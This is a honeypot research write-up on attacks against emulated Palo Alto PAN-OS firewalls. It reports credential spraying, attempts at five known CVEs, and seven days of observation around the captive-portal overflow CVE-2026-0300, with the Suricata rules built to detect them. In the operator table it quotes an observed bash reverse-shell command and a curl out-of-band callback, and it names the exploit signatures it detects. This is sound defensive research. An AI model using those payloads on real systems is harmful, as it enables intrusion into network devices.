Palo Alto Honeypot — How Fast Do Attackers Find Your Firewall?
We deployed a high-fidelity Palo Alto PAN-OS honeypot across three sensors and waited. In the first two weeks, 440+ unique source IPs probed the management interface, captive portal, GlobalProtect VPN, and XML API — producing nearly 47,000 events. The original post asked whether the five monitored CVEs would ever attract real exploit traffic. They did: 90 CVE-exploitation attempts have now been observed. In May 2026, a new vulnerability — CVE-2026-0300, an unauthenticated captive-portal buffer overflow — added a seventh observation window. We tracked attacker behaviour for seven days ahead of the vendor patch.
What We Deployed
The honeypot presents itself as a Palo Alto PAN-OS firewall management interface, complete with five distinct services that real PAN-OS devices expose:
| Service | What It Mimics | What We Capture |
|---|---|---|
| Management WebUI | PAN-OS login page with model/version footer | Credentials, CVE exploitation attempts, recon patterns |
| GlobalProtect VPN | Portal and gateway with prelogin/login endpoints | VPN credentials, client metadata, SESSID abuse |
| XML API | Full API with keygen, operational commands, config | API key generation, config read/write/commit attempts |
| SSH CLI | Interactive PAN-OS shell with show/configure commands | Full command history, config changes, credentials |
| Captive Portal | Network authentication redirect page | Portal credentials, redirect URL analysis |
Each instance has a unique identity — different model, serial number, TLS certificate, and PAN-OS version — so no two sensors share fingerprints visible to scanners.
CVE Detection — What We’re Watching For
Palo Alto firewalls have been the target of multiple critical vulnerabilities in 2024–2025. Our honeypot detects exploitation attempts for five actively exploited CVEs:
| CVE | CVSS | Attack Vector | Detection Method |
|---|---|---|---|
| CVE-2024-3400 | 10.0 | SESSID cookie path traversal on GlobalProtect | Regex on SESSID for ../ and ${IFS} |
| CVE-2024-0012 | 9.8 | Authentication bypass via X-PAN-AUTHCHECK header | Header value check on all requests |
| CVE-2021-3064 | 9.8 | HTTP smuggling on GlobalProtect | CL+TE header mismatch detection |
| CVE-2025-0108 | 8.8 | Path confusion via double-encoded traversal | Detect %2e%2e after URL decode on /unauth/ |
| CVE-2024-9474 | 7.2 | Command injection in user parameter | Regex on user field for backticks and $() |
| CVE-2026-0300 (NEW) | Critical | Unauthenticated stack buffer overflow in captive-portal /php/uid.php and /php/login.php endpoints |
11 custom Suricata rules (SIDs 9026300–9026310) — oversize body, A-run, shellcode patterns, self-doxxing UA; see § below |
CVE Exploitation — What We Actually Saw
The original version of this post said “no CVE exploits observed yet.” That is no longer true. After two weeks of internet exposure across both sensors, the honeypot has captured 90 distinct CVE-exploitation attempts against four of the five monitored CVEs:
| CVE | Generic cve_attempt hits |
CVE-specific rule hits | Notes |
|---|---|---|---|
| CVE-2024-0012 | — | 27 | By far the most-attempted CVE — X-PAN-AUTHCHECK header probes |
| CVE-2024-3400 | — | 7 | SESSID path traversal — attackers know the GlobalProtect endpoint |
| CVE-2025-0108 | — | 6 | Double-encoded path confusion under /unauth/ |
| CVE-2024-9474 | — | 5 | Command injection in user parameter |
| CVE-2021-3064 | — | 0 | CL+TE smuggling not observed yet |
Generic paloalto_cve_attempt rule (any of above + heuristics) |
90 | 45 | Total signal — double-counts events that hit both a generic and a specific rule |
CVE-2024-0012 leading the table is consistent with reports from Censys, Greynoise, and Palo Alto’s own Unit 42 advisories — the X-PAN-AUTHCHECK auth-bypass is trivially scriptable and indexes well in scanner playbooks. By contrast we have not seen a single CVE-2021-3064 attempt: HTTP smuggling requires a more delicate request-pair and isn’t a fit for spray-and-pray scanning.
What Attackers Do When They Find Your PAN-OS
Two weeks of observation across both sensors makes the reconnaissance pattern much clearer than the early-snapshot version of this post. The four phases are still recognisable but the volumes have grown an order of magnitude:
SSH CLI — What Happens After Login
Our SSH honeypot on port 2200 accepts all credentials and presents an interactive PAN-OS shell. Over 1,000 SSH sessions were recorded, with attackers running reconnaissance commands and attempting configuration changes:
| Event Type | Count | Severity | Attacker Goal |
|---|---|---|---|
| SSH session opened | 27,830 | LOW | Pure connection attempts (banner grab + drop) |
| SSH credential submission | 16,941 | MEDIUM | Credential stuffing / brute force |
| Default-credential pair (admin/admin etc.) | 317 | MEDIUM | Out-of-the-box config probing |
| show system info | 18 | LOW | Version fingerprinting |
| configure mode | 8 | HIGH | Persistence — enter config mode |
| set / delete (config write) | 4 | CRITICAL | Configuration tampering |
| commit | 4 | CRITICAL | Apply configuration changes |
| request system restart | 3 | CRITICAL | Disruption — reboot attempt |
| debug commands (priv-esc surface) | 6 | HIGH | Internal-state inspection |
PAN-OS vs FortiGate — Attack Pattern Comparison
We run both PAN-OS and FortiGate honeypots on the same sensors. The attack patterns differ significantly:
| Metric | FortiGate | PAN-OS |
|---|---|---|
| Time to first scan | Minutes | Minutes |
| Primary attack | CVE-2022-40684 (auth bypass) | Credential stuffing + API probing |
| VPN targeting | SSL VPN login spray | GlobalProtect prelogin enumeration |
| SSH component | Not available | Full CLI with config mode tracking |
| CVE exploitation | Active (CVE-2022-40684 common) | Active (90 attempts on 4/5 CVEs — CVE-2024-0012 leads) |
Key Findings
- PAN-OS management interfaces are found within minutes. Internet-wide scanners actively probe for the distinctive PAN-OS HTTP fingerprint (empty Server header, PHPSESSID cookie, PHP-era Expires date).
- SSH brute-force is overwhelmingly dominant. 17,000+ credential submissions on port 2200 in two weeks, sustained at ~2,000/day from hundreds of unique sources — orders of magnitude more than every web-side attack combined.
- CVE-2024-0012 is what scanners actually try. X-PAN-AUTHCHECK header probes (27 hits) far outpace the other monitored CVEs. CVE-2024-3400 (7) and CVE-2025-0108 (6) follow at much lower rates. CVE-2021-3064 (HTTP smuggling) was not seen at all — spray-and-pray scanners avoid attacks that need careful request-pair construction.
- The captive portal is an unexpected attack surface. Ports 6080/6082 attracted 430 events — more reconnaissance traffic than the management web UI itself. Attackers treat any authentication form as a target.
- API enumeration happens quickly.
Within hours of deployment, scanners discovered
/api/?type=keygenand attempted credential-based API key generation. We have observed 14 API config-read attempts and 9 API config-write attempts. - The two-sensor split tells the deployment-context story. The internet-facing OVH sensor (PROD2) sees SSH credential traffic from 439 unique sources; the LAN-side DEV sensor sees the same traffic via firewall DNAT but at much higher absolute volumes (39K events) because the DNAT exposes the SSH and web ports to the wider internet for longer.
CVE-2026-0300 — Captive Portal Buffer Overflow: 7-Day Live Observation
On 2026-05-06 Palo Alto Networks disclosed CVE-2026-0300 — an unauthenticated stack buffer overflow in the User-ID captive-portal component of PAN-OS, reachable on the dedicated captive-portal ports (TCP 4443, 6080, 6081, 6082) without any credential. We already had captive-portal ports live on all three sensors. We wrote 11 custom Suricata detection rules (SIDs 9026300–9026310) on disclosure day and tracked the pre-patch operator pool for seven days until the vendor patch landed on 2026-05-13.
The short version: the actual CVE attack shape — oversize POST body to
/php/uid.php with buffer-overflow padding — was never observed in
the wild on our sensors during the seven-day window. What we did observe was more
revealing about how operators behave in the days between a disclosure and its patch.
The vulnerability
The affected endpoints (/php/uid.php, /php/login.php,
/php/captiveportal.php) are served on separate TCP ports that are
exposed by default when the captive-portal feature is enabled — independent
of whether the management WebUI is internet-accessible. A single unauthenticated
POST with a sufficiently large body can overflow a stack buffer in the C-based
User-ID backend. No authentication, no prior session, no special headers required.
Proof-of-concept code (qassam-315, p3Nt3st3r-sTAr) was public on disclosure day.
Operators we observed — by behaviour, not by name
| Date (CEST) | Operator type | Technique | SID fired | Assessment |
|---|---|---|---|---|
| 2026-05-06 | Scanner (FPT Vietnam) | Self-doxxing UA: Mozilla/5.0 (CVE-2026-0300-Checker) |
9026307 | Exposure inventory, not exploit. Declared the CVE in the User-Agent string. |
| 2026-05-10 | Exploitation attempt (DE-hosted) | 2120-byte A-run preamble then POST /php/login.php with bash reverse-shell body: bash -i >& /dev/tcp/…/443 0>&1 |
9026305, 9026306 | Real exploit attempt. Only one seen across 7 days, no follow-up. Suricata initially mis-classified the flow as TLS — the TCP-layer rules (9026305, 9026306) caught it regardless. |
| 2026-05-11 | Exposure survey (US hosting) | 355 events / 65 min, UA: panos-cve-2026-0300-exposure-survey/1.0. Probed /php/uid.php specifically (correct CVE endpoint, unlike public PoCs which target /php/login.php). |
9026307 | Sophisticated recon: correct endpoint, self-identifying UA, brief burst then gone. One brief return burst the next day, then permanently silent. |
| 2026-05-11–12 | Generic fuzzer (OVH VPS) | 927 events over 9 hours; hybrid probe: i386 ROP-shaped pointer chain + {curl,http://<interactsh>} OOB callback + 518-byte A-run query string. Nuclei template set. |
9026305, 9026310 | Not CVE-2026-0300-specific — a kitchen-sink Nuclei run against any captive-portal surface. The OOB token links it to ProjectDiscovery tooling. Noteworthy: 9026305 correctly fired despite the GET-not-POST shape. |
| 2026-05-06–12 | Coordinated scanner clusters | Two /24 clusters active throughout the window: China-Mobile-allocated /24 (14 distinct IPs) and Aeza International /22 (26+ IPs). TLS fingerprint-only, no POST body, no CVE-aware UA. | none | Background recon layer. China-Mobile /24 went silent at 20:00 CEST patch eve. Aeza continued. |
The detection engineering story
We iterated the rule set across all seven days as we observed new evasion shapes. Three additions were driven by real traffic, not theory:
- SID 9026305 (TCP-layer A-run, 2026-05-10). After the 94.198.216.188
exploit attempt, Suricata logged the flow as
app_proto:tls(the A-run preamble looked like TLS garbage). Our HTTP-layer rules never engaged. We added a TCP-layer fallback that fires regardless of what Suricata thinks the application protocol is. It fired correctly the next time. - SID 9026310 (forensic filestore, 2026-05-09). An earlier probe sent a 2120-byte body that fast.log showed as alerting on DEV but not slim. The cause: request_body was empty even though the body reached libhtp’s file-extract layer. We added a filestore-keyword rule that routes any captive-portal POST through libhtp’s file pipeline for forensic retention — independent of the alert-engine buffer.
- SID 9026307 (self-doxxing CVE UA, 2026-05-12). Two operators
advertised the CVE number directly in their User-Agent string. We generalised
both patterns into one rule covering
panos-cve-NNNN-NNNNN-*andCVE-NNNN-NNNNN-Checkerforms, so a future CVE in this family costs us zero extra rules.
Patch day outcome
On 2026-05-13 the vendor patch released. By evening, zero HONEYLENS SID firings across all three sensors. Zero oversize POST bodies. Zero shellcode. Every tracked exploitation-intent IP was absent. The China-Mobile /24 cluster — the most consistent presence across all seven pre-patch days — made a final burst on patch eve at 18:00 CEST and went silent.
What replaced them: Censys cataloguing /php/login.php
in its crawl template (will continue indefinitely), a Dshield-listed /24 doing
a Citrix/VPN-appliance sweep across all three sensors in sequence, and routine
TLS fingerprinters. The exploitation-active population withdrew cleanly at patch time.
The CVE-specific exploit rules (9026300–9026304) never fired on real traffic across seven days. The actual BoF attack shape — a correctly-formed oversize POST to the vulnerable User-ID endpoint — was not observed in the wild on our sensor surface during the pre-patch window. Whether that reflects targeted (non-internet-visible) exploitation or operators holding PoCs until after patch analysis, we cannot say.
Data captured by HoneyLens sensor network across 3 deployment sites between 12 Apr and 13 May 2026. The PAN-OS honeypot implements 6 CVE detections (5 original + CVE-2026-0300) with 33 distinct attack-type classifications plus 11 custom Suricata rules for the captive-portal BoF surface. Each instance uses a unique identity (serial, TLS certificate, hostname) to prevent cross-sensor fingerprint correlation.